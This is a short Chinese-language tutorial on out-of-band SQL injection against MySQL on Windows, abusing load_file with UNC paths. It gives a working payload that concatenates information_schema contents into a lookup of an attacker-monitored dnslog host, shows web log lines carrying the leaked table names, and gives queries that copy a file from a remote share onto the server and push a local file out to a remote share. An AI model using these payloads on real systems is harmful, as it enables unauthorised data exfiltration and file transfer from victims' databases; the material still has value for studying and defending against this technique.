准备工作:先来设置windows2003开启匿名共享
我们知道win中访问远程目录的写法是\\123.123.123.123\a
那么我们可以使用mysql的load_file函数去读远程文件,而如果这个远程ip是我们预先设定并监控的,抓一下80的log会看到什么呢?让我们试一下。
执行这个语句
select load_file(concat('\\\\bb131f.dnslog.info\\',(select concat(table_schema,table_name,column_name) from information_schema.columns limit 0,1)));
日志里看到的什么呢?
[03/Mar/2015:18:33:49 +0800] 124.205.254.6 - - bb131f.dnslog.info OPTIONS / HTTP/1.1 200 "Microsoft-WebDAV-MiniRedir/5.1.2600" [03/Mar/2015:18:33:50 +0800] 124.205.254.6 - - bb131f.dnslog.info PROPFIND /information_schemaCHARACTER_SETSCHARACTER_SET_NAM HTTP/1.1 405 "Microsoft-WebDAV-MiniRedir/5.1.2600"
哦呵呵呵 把注入语句的结果回显回来了,由于windows的特性访问ipc会webdav访问一下80端口。
导入外部的文件到本地
select load_file("\\\\1.1.1.1\\1.txt") into outfile 'c:\\1.txt'
写入到远程共享
select load_file('c:\\1.txt') into outfile "\\\\1.1.1.1\\2.txt"